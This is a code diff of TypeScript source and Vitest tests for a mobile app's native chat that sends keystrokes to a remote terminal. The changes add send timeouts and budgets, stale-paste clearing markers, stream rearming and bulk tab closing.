import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
import type { RpcClient } from '../transport/rpc-client'
import { markRpcDeliveryUnknown } from '../transport/rpc-delivery-ambiguity'
import { sendMobileNativeChatPermissionResponse } from './mobile-native-chat-permission-send'
import { MOBILE_NATIVE_CHAT_SEND_TIMEOUT_MS } from './mobile-native-chat-send'
import {
sendMobileNativeChatPermissionResponse,
useMobileNativeChatPermissionSend
} from './mobile-native-chat-permission-send'
import {
isMobileNativeChatInputStale,
markMobileNativeChatInputStale,
resetMobileNativeChatStaleInputForTests
} from './mobile-native-chat-stale-input'
describe('sendMobileNativeChatPermissionResponse', () => {
it('writes an approval as raw bytes without appending Return', async () => {
@@ -18,12 +29,16 @@ describe('sendMobileNativeChatPermissionResponse', () => {
text: '1'
})
).resolves.toBe('accepted')
expect(sendRequest).toHaveBeenCalledWith('terminal.send', {
terminal: 'terminal',
text: '1',
enter: false,
client: { id: 'phone', type: 'mobile' }
})
expect(sendRequest).toHaveBeenCalledWith(
'terminal.send',
{
terminal: 'terminal',
text: '1',
enter: false,
client: { id: 'phone', type: 'mobile' }
},
{ timeoutMs: MOBILE_NATIVE_CHAT_SEND_TIMEOUT_MS, budgetSpansConnect: true }
)
})
it('surfaces an ambiguous delivery as unknown instead of a definite failure', async () => {
@@ -41,3 +56,50 @@ describe('sendMobileNativeChatPermissionResponse', () => {
).resolves.toBe('unknown')
})
})
describe('useMobileNativeChatPermissionSend', () => {
let renderer: ReactTestRenderer | null = null
let respond: ((text: string) => Promise<boolean>) | null = null
beforeEach(() => {
globalThis.IS_REACT_ACT_ENVIRONMENT = true
resetMobileNativeChatStaleInputForTests()
})
afterEach(() => {
act(() => renderer?.unmount())
renderer = null
respond = null
})
it('keeps the marker for a permission choice, which never submits the composer', async () => {
const sendRequest = vi.fn().mockResolvedValue({
ok: true,
result: { send: { handle: 'terminal', accepted: true, bytesWritten: 1 } }
})
function Harness(): null {
respond = useMobileNativeChatPermissionSend({
client: { sendRequest } as unknown as RpcClient,
enabled: true,
handleRef: { current: 'terminal' },
deviceTokenRef: { current: null },
onSendError: vi.fn()
})
return null
}
act(() => {
renderer = create(createElement(Harness))
})
markMobileNativeChatInputStale('terminal')
await act(async () => {
await expect(respond?.('1')).resolves.toBe(true)
})
// A choice is a bare key for a live overlay that swallows a clear while the
// host still acks it, so healing here would burn the marker and leave the
// paste to corrupt the next real message. Only the choice may go.
expect(sendRequest).toHaveBeenCalledTimes(1)
expect(sendRequest.mock.calls[0]?.[1]).toMatchObject({ text: '1', enter: false })
expect(isMobileNativeChatInputStale('terminal')).toBe(true)
})
})
@@ -36,6 +36,9 @@ export function useMobileNativeChatPermissionSend(args: {
args.onSendError('Response not sent (disconnected)')
return false
}
// No stale-input heal here (unlike the text/ask sends): a choice is an
// `enter: false` key for an active overlay that swallows the clear, so it
// would consume the marker still protecting the next real message.
const outcome = await sendMobileNativeChatPermissionResponse({
client: args.client,
terminal,
@@ -3,6 +3,8 @@ import type { RpcClient } from '../transport/rpc-client'
import { markRpcDeliveryUnknown } from '../transport/rpc-delivery-ambiguity'
import { LogicalClientCutoverError } from '../transport/stable-logical-rpc-client'
import {
MOBILE_NATIVE_CHAT_SEND_TIMEOUT_MS,
openMobileNativeChatSendBudget,
sendMobileNativeChatMessage,
sendMobileNativeChatMessageWithOutcome
} from './mobile-native-chat-send'
@@ -30,12 +32,16 @@ describe('sendMobileNativeChatMessage', () => {
mobileClient: { id: 'device', type: 'mobile' }
})
).resolves.toBe(true)
expect(client.sendRequest).toHaveBeenCalledWith('terminal.send', {
terminal: 'term',
text: 'hello',
enter: true,
client: { id: 'device', type: 'mobile' }
})
expect(client.sendRequest).toHaveBeenCalledWith(
'terminal.send',
{
terminal: 'term',
text: 'hello',
enter: true,
client: { id: 'device', type: 'mobile' }
},
{ timeoutMs: MOBILE_NATIVE_CHAT_SEND_TIMEOUT_MS, budgetSpansConnect: true }
)
})
it('returns false when the terminal rejects the send', async () => {
@@ -87,6 +93,34 @@ describe('sendMobileNativeChatMessage', () => {
).resolves.toBe(false)
})
it('reports an unknown outcome when the request timeout expires', async () => {
// The request-timeout path: the frame was written and only the ack is missing,
// so calling it "Message not sent" would hide a message the desktop received.
const client = {
sendRequest: vi
.fn()
.mockRejectedValue(markRpcDeliveryUnknown(new Error('Request timed out: terminal.send')))
} as unknown as RpcClient
await expect(
sendMobileNativeChatMessageWithOutcome({ client, terminal: 'term', text: 'hello' })
).resolves.toBe('unknown')
})
it('reports a definite rejection when the connect wait times out', async () => {
// The same timeout budget also covers the pre-connect wait, which is deliberately
// NOT marked delivery-unknown — no frame was ever written.
const client = {
sendRequest: vi
.fn()
.mockRejectedValue(new Error('Timed out while connecting to the remote Orca runtime.'))
} as unknown as RpcClient
await expect(
sendMobileNativeChatMessageWithOutcome({ client, terminal: 'term', text: 'hello' })
).resolves.toBe('rejected')
})
it('reports an unknown outcome when a logical cutover interrupts the send', async () => {
const client = {
sendRequest: vi.fn().mockRejectedValue(new LogicalClientCutoverError())
@@ -149,10 +183,59 @@ describe('sendMobileNativeChatMessage', () => {
text: String.fromCharCode(27),
enter: false
})
expect(client.sendRequest).toHaveBeenCalledWith('terminal.send', {
terminal: 'term',
text: String.fromCharCode(27),
enter: false
expect(client.sendRequest).toHaveBeenCalledWith(
'terminal.send',
{
terminal: 'term',
text: String.fromCharCode(27),
enter: false
},
{ timeoutMs: MOBILE_NATIVE_CHAT_SEND_TIMEOUT_MS, budgetSpansConnect: true }
)
})
it('spends only what is left of a shared budget', async () => {
const client = clientWithResponse({
id: 'request',
ok: true,
result: { send: { accepted: true } },
_meta: { runtimeId: 'runtime' }
})
await sendMobileNativeChatMessageWithOutcome({
client,
terminal: 'term',
text: 'hi',
deadline: Date.now() + 4_000
})
const options = vi.mocked(client.sendRequest).mock.calls[0]?.[2] as { timeoutMs: number }
expect(options.timeoutMs).toBeGreaterThan(3_000)
expect(options.timeoutMs).toBeLessThanOrEqual(4_000)
})
it('refuses a write whose shared budget cannot fund the final acknowledgement', async () => {
const client = clientWithResponse({
id: 'request',
ok: true,
result: { send: { accepted: true } },
_meta: { runtimeId: 'runtime' }
})
// Nothing reaches the wire, so this is a definite non-send rather than ambiguous.
await expect(
sendMobileNativeChatMessageWithOutcome({
client,
terminal: 'term',
text: 'hi',
deadline: Date.now() + 400
})
).resolves.toBe('rejected')
expect(client.sendRequest).not.toHaveBeenCalled()
})
it('opens a budget bounded by the send timeout', () => {
const budget = openMobileNativeChatSendBudget() - Date.now()
expect(budget).toBeGreaterThan(MOBILE_NATIVE_CHAT_SEND_TIMEOUT_MS - 1_000)
expect(budget).toBeLessThanOrEqual(MOBILE_NATIVE_CHAT_SEND_TIMEOUT_MS)
})
})
+35 -6
View File
@@ -14,6 +14,9 @@ type MobileNativeChatSendArgs = {
text: string
enter?: boolean
mobileClient?: MobileTerminalClient
/** Shared budget for a whole user action (heal → paste → text, or one selector's
* keystroke sequence). Omit to give this write its own full budget. */
deadline?: number
}
/** 'unknown' = the RPC failed without proof the request never reached the
@@ -21,16 +24,42 @@ type MobileNativeChatSendArgs = {
* frame was written) — callers must not present it as a definite send failure. */
export type MobileNativeChatSendOutcome = 'accepted' | 'rejected' | 'unknown'
/** Without an explicit timeout `sendRequest` waits for reconnect indefinitely, and
* the composer holds `sending` (send arrow dimmed, no error) for as long as it
* pends. Chat writes are interactive: fail them so the user can retry. */
export const MOBILE_NATIVE_CHAT_SEND_TIMEOUT_MS = 15_000
export const MOBILE_NATIVE_CHAT_MIN_WRITE_TIMEOUT_MS = 2_000
/** Opens a budget for one user action. Multi-write actions (heal → paste → text, a
* paced selector answer) must share one so the composer's `sending` window stays
* bounded by MOBILE_NATIVE_CHAT_SEND_TIMEOUT_MS instead of multiplying by it. */
export function openMobileNativeChatSendBudget(): number {
return Date.now() + MOBILE_NATIVE_CHAT_SEND_TIMEOUT_MS
}
export async function sendMobileNativeChatMessageWithOutcome(
args: MobileNativeChatSendArgs
): Promise<MobileNativeChatSendOutcome> {
const timeoutMs =
args.deadline === undefined ? MOBILE_NATIVE_CHAT_SEND_TIMEOUT_MS : args.deadline - Date.now()
// Starting an underfunded final write risks delivery followed by a false timeout.
if (timeoutMs < MOBILE_NATIVE_CHAT_MIN_WRITE_TIMEOUT_MS) {
return 'rejected'
}
try {
const response = await args.client.sendRequest('terminal.send', {
terminal: args.terminal,
text: args.text,
enter: args.enter ?? true,
...(args.mobileClient ? { client: args.mobileClient } : {})
})
const response = await args.client.sendRequest(
'terminal.send',
{
terminal: args.terminal,
text: args.text,
enter: args.enter ?? true,
...(args.mobileClient ? { client: args.mobileClient } : {})
},
// The budget covers this whole write, reconnect wait included — a chat send
// that spends its ceiling waiting to connect and then starts a fresh clock
// pins the composer for twice as long.
{ timeoutMs, budgetSpansConnect: true }
)
return isTerminalSendRpcAccepted(response) ? 'accepted' : 'rejected'
} catch (error) {
// Why: a logical relay↔direct cutover rejects the in-flight send without
@@ -0,0 +1,78 @@
import { beforeEach, describe, expect, it, vi } from 'vitest'
import type { RpcClient } from '../transport/rpc-client'
import {
clearMobileNativeChatInputStale,
healMobileNativeChatStaleInput,
isMobileNativeChatInputStale,
markMobileNativeChatInputStale,
resetMobileNativeChatStaleInputForTests
} from './mobile-native-chat-stale-input'
function sendResult(accepted: boolean) {
return {
id: 'send',
ok: true as const,
result: { send: { accepted } },
_meta: { runtimeId: 'runtime' }
}
}
function makeClient(accepted = true): Pick<RpcClient, 'sendRequest'> {
return { sendRequest: vi.fn().mockResolvedValue(sendResult(accepted)) }
}
describe('mobile native chat stale input markers', () => {
beforeEach(() => {
resetMobileNativeChatStaleInputForTests()
})
it('tracks each terminal independently', () => {
markMobileNativeChatInputStale('term-1')
expect(isMobileNativeChatInputStale('term-1')).toBe(true)
expect(isMobileNativeChatInputStale('term-2')).toBe(false)
clearMobileNativeChatInputStale('term-1')
expect(isMobileNativeChatInputStale('term-1')).toBe(false)
})
it('writes nothing when the terminal is not marked', async () => {
const client = makeClient()
await expect(
healMobileNativeChatStaleInput({ client, terminal: 'term-1', deviceToken: null })
).resolves.toBe(true)
expect(client.sendRequest).not.toHaveBeenCalled()
})
it('clears the line and consumes the marker', async () => {
const client = makeClient()
markMobileNativeChatInputStale('term-1')
await expect(
healMobileNativeChatStaleInput({ client, terminal: 'term-1', deviceToken: 'device' })
).resolves.toBe(true)
expect(client.sendRequest).toHaveBeenCalledTimes(1)
expect(vi.mocked(client.sendRequest).mock.calls[0]?.[1]).toMatchObject({
terminal: 'term-1',
text: '\x15',
enter: false,
client: { id: 'device', type: 'mobile' }
})
expect(isMobileNativeChatInputStale('term-1')).toBe(false)
})
it('keeps the marker when the host rejects the clear', async () => {
const client = makeClient(false)
markMobileNativeChatInputStale('term-1')
await expect(
healMobileNativeChatStaleInput({ client, terminal: 'term-1', deviceToken: null })
).resolves.toBe(false)
expect(isMobileNativeChatInputStale('term-1')).toBe(true)
})
it('keeps the marker when the clear throws', async () => {
const client = { sendRequest: vi.fn().mockRejectedValue(new Error('offline')) }
markMobileNativeChatInputStale('term-1')
await expect(
healMobileNativeChatStaleInput({ client, terminal: 'term-1', deviceToken: null })
).resolves.toBe(false)
expect(isMobileNativeChatInputStale('term-1')).toBe(true)
})
})
@@ -0,0 +1,69 @@
import type { RpcClient } from '../transport/rpc-client'
import { pasteMobileNativeChatImagePaths } from './mobile-native-chat-image-send'
// The condition tracked here — a bracketed image paste left sitting on the agent's
// unsubmitted input line — lives on the HOST terminal, so it outlives any one
// session screen. Keyed by terminal handle at module scope: React state died with
// the screen and let the orphaned paste glue onto the next message (#10228).
const staleInputTerminals = new Set<string>()
export function markMobileNativeChatInputStale(terminal: string): void {
staleInputTerminals.add(terminal)
}
export function isMobileNativeChatInputStale(terminal: string): boolean {
return staleInputTerminals.has(terminal)
}
export function clearMobileNativeChatInputStale(terminal: string): void {
staleInputTerminals.delete(terminal)
}
/** Test-only: module scope outlives a single test's hooks. */
export function resetMobileNativeChatStaleInputForTests(): void {
staleInputTerminals.clear()
}
/** Clears a marked terminal's unsubmitted input line before a write that could
* submit it, consuming the marker only once the host accepts the clear.
*
* Returns true when the line is safe to submit (nothing marked, or cleared);
* false when a needed clear failed — the marker stays set for the next attempt
* and the caller must not submit, or the stale paste rides along with it.
*
* Only for writes that can commit the composer. Dialog control (permission
* choices, Escape) and selector answers carry no commit — the host coerces their
* `enter` to false — and go to an active overlay that swallows the keys, so a
* clear there would not reach the input line yet would still consume the marker,
* leaving the next real message to be corrupted by the paste. The host acks a
* write, never a cleared line, so consumption can't be made conditional on it. */
export async function healMobileNativeChatStaleInput(args: {
readonly client: Pick<RpcClient, 'sendRequest'>
readonly terminal: string
readonly deviceToken: string | null
/** Budget shared with the write this heal precedes, so a hung clear can't spend a
* full send timeout and leave the following write free to spend another. */
readonly deadline?: number
}): Promise<boolean> {
if (!isMobileNativeChatInputStale(args.terminal)) {
return true
}
let cleared = false
try {
cleared = await pasteMobileNativeChatImagePaths({
client: args.client,
terminal: args.terminal,
deviceToken: args.deviceToken,
imagePaths: [],
...(args.deadline === undefined ? {} : { deadline: args.deadline })
})
} catch {
// Leave marked for the next attempt.
return false
}
if (!cleared) {
return false
}
clearMobileNativeChatInputStale(args.terminal)
return true
}
@@ -80,13 +80,26 @@ describe('mobile native-chat terminal stream lifecycle', () => {
)
})
it('rearms a covered stream that lost its subscription', () => {
// The covered stream IS the input lease, and nothing else re-subscribes it —
// losing it while chat is open must not leave the composer locked (#10681).
expect(
resolveMobileNativeChatTerminalStreamAction({
...base,
showNativeChat: true,
streamActive: false,
streamCovered: true
})
).toBe('rearm')
})
it('does nothing for non-terminal tabs, missing handles, or settled states', () => {
expect(resolveMobileNativeChatTerminalStreamAction(base)).toBe('none')
expect(
resolveMobileNativeChatTerminalStreamAction({
...base,
showNativeChat: true,
streamActive: false,
streamActive: true,
streamCovered: true
})
).toBe('none')
@@ -96,5 +109,13 @@ describe('mobile native-chat terminal stream lifecycle', () => {
expect(resolveMobileNativeChatTerminalStreamAction({ ...base, activeHandle: null })).toBe(
'none'
)
// Leaving chat with the WebView not yet ready must wait, not resume blind.
expect(
resolveMobileNativeChatTerminalStreamAction({
...base,
streamCovered: true,
webViewReady: false
})
).toBe('none')
})
})
@@ -1,4 +1,4 @@
export type MobileNativeChatTerminalStreamAction = 'pause' | 'resume' | 'none'
export type MobileNativeChatTerminalStreamAction = 'pause' | 'resume' | 'rearm' | 'none'
/** Decides whether the active mobile terminal stream should run while native chat
* covers its WebView. Resume is allowed only once the mounted WebView is ready. */
@@ -14,7 +14,13 @@ export function resolveMobileNativeChatTerminalStreamAction(args: {
return 'none'
}
if (args.showNativeChat) {
return !args.streamCovered ? 'pause' : 'none'
if (!args.streamCovered) {
return 'pause'
}
// Why: the covered stream IS the input lease. Anything that tore it down
// (terminal.list churn, a client swap, an `end` frame) would otherwise leave
// the composer locked forever — nothing else re-subscribes a covered handle.
return args.streamActive ? 'none' : 'rearm'
}
return (args.streamCovered || !args.streamActive) && args.webViewReady ? 'resume' : 'none'
}
@@ -0,0 +1,45 @@
import { describe, expect, it } from 'vitest'
import { selectBulkCloseTabs } from './mobile-tab-close-selection'
const tab = (id: string, isDirty?: boolean, isPinned?: boolean) => ({
id,
...(isDirty === undefined ? {} : { isDirty }),
...(isPinned === undefined ? {} : { isPinned })
})
describe('selectBulkCloseTabs', () => {
const tabs = [tab('a'), tab('b'), tab('c'), tab('d')]
it('selects every tab except the anchor for mode "others"', () => {
expect(selectBulkCloseTabs(tabs, 'b', 'others').map((t) => t.id)).toEqual(['a', 'c', 'd'])
})
it('selects tabs before the anchor for mode "left"', () => {
expect(selectBulkCloseTabs(tabs, 'c', 'left').map((t) => t.id)).toEqual(['a', 'b'])
})
it('selects tabs after the anchor for mode "right"', () => {
expect(selectBulkCloseTabs(tabs, 'b', 'right').map((t) => t.id)).toEqual(['c', 'd'])
})
it('returns empty when the anchor is at the edge', () => {
expect(selectBulkCloseTabs(tabs, 'a', 'left')).toEqual([])
expect(selectBulkCloseTabs(tabs, 'd', 'right')).toEqual([])
})
it('returns empty when the anchor is not in the list', () => {
expect(selectBulkCloseTabs(tabs, 'missing', 'others')).toEqual([])
})
it('skips dirty tabs so unsaved edits survive a bulk close', () => {
const withDirty = [tab('a', true), tab('b'), tab('c', false), tab('d')]
expect(selectBulkCloseTabs(withDirty, 'd', 'left').map((t) => t.id)).toEqual(['b', 'c'])
expect(selectBulkCloseTabs(withDirty, 'b', 'others').map((t) => t.id)).toEqual(['c', 'd'])
})
it('skips pinned tabs', () => {
const withPinned = [tab('a', undefined, true), tab('b'), tab('c', undefined, true), tab('d')]
expect(selectBulkCloseTabs(withPinned, 'd', 'left').map((t) => t.id)).toEqual(['b'])
expect(selectBulkCloseTabs(withPinned, 'b', 'others').map((t) => t.id)).toEqual(['d'])
})
})
@@ -0,0 +1,38 @@
export type BulkTabCloseMode = 'others' | 'left' | 'right'
/** Long-press sheet entries, in display order. */
export const BULK_TAB_CLOSE_ACTIONS: { mode: BulkTabCloseMode; label: string }[] = [
{ mode: 'others', label: 'Close Other Tabs' },
{ mode: 'left', label: 'Close Tabs to the Left' },
{ mode: 'right', label: 'Close Tabs to the Right' }
]
type BulkClosableTab = {
id: string
isDirty?: boolean
isPinned?: boolean
}
/**
* Pick the tabs a long-press bulk close ("Close Other Tabs" / "Close Tabs to
* the Left/Right") should target, in strip order relative to the pressed tab.
* Dirty documents are skipped — mobile has no save prompt on close, so bulk
* closing must never silently discard unsaved edits.
*/
export function selectBulkCloseTabs<T extends BulkClosableTab>(
tabs: readonly T[],
anchorTabId: string,
mode: BulkTabCloseMode
): T[] {
const anchorIndex = tabs.findIndex((tab) => tab.id === anchorTabId)
if (anchorIndex === -1) {
return []
}
const candidates =
mode === 'others'
? tabs.filter((_, index) => index !== anchorIndex)
: mode === 'left'
? tabs.slice(0, anchorIndex)
: tabs.slice(anchorIndex + 1)
return candidates.filter((tab) => tab.isDirty !== true && tab.isPinned !== true)
}
@@ -19,6 +19,9 @@ export function getMobileTerminalActionSheetActions<Target extends { handle: str
onRename: (target: Target) => void
onClear: (target: Target) => void
onClose: (target: Target) => void
/** Appended after Close; receives the pressed tab's id so the session route's
* bulk-close builder can resolve the anchor itself. */
bulkCloseActions?: (anchorTabId: string | undefined, dismiss: () => void) => ActionSheetAction[]
}): ActionSheetAction[] {
const { target } = args
if (!target) {
@@ -64,6 +67,10 @@ export function getMobileTerminalActionSheetActions<Target extends { handle: str
args.onDismiss()
args.onClose(target)
}
}
},
...(args.bulkCloseActions?.(
args.tabs.find((tab) => tab.terminal === target.handle)?.id,
args.onDismiss
) ?? [])
]
}

Some files were not shown because too many files have changed in this diff Show More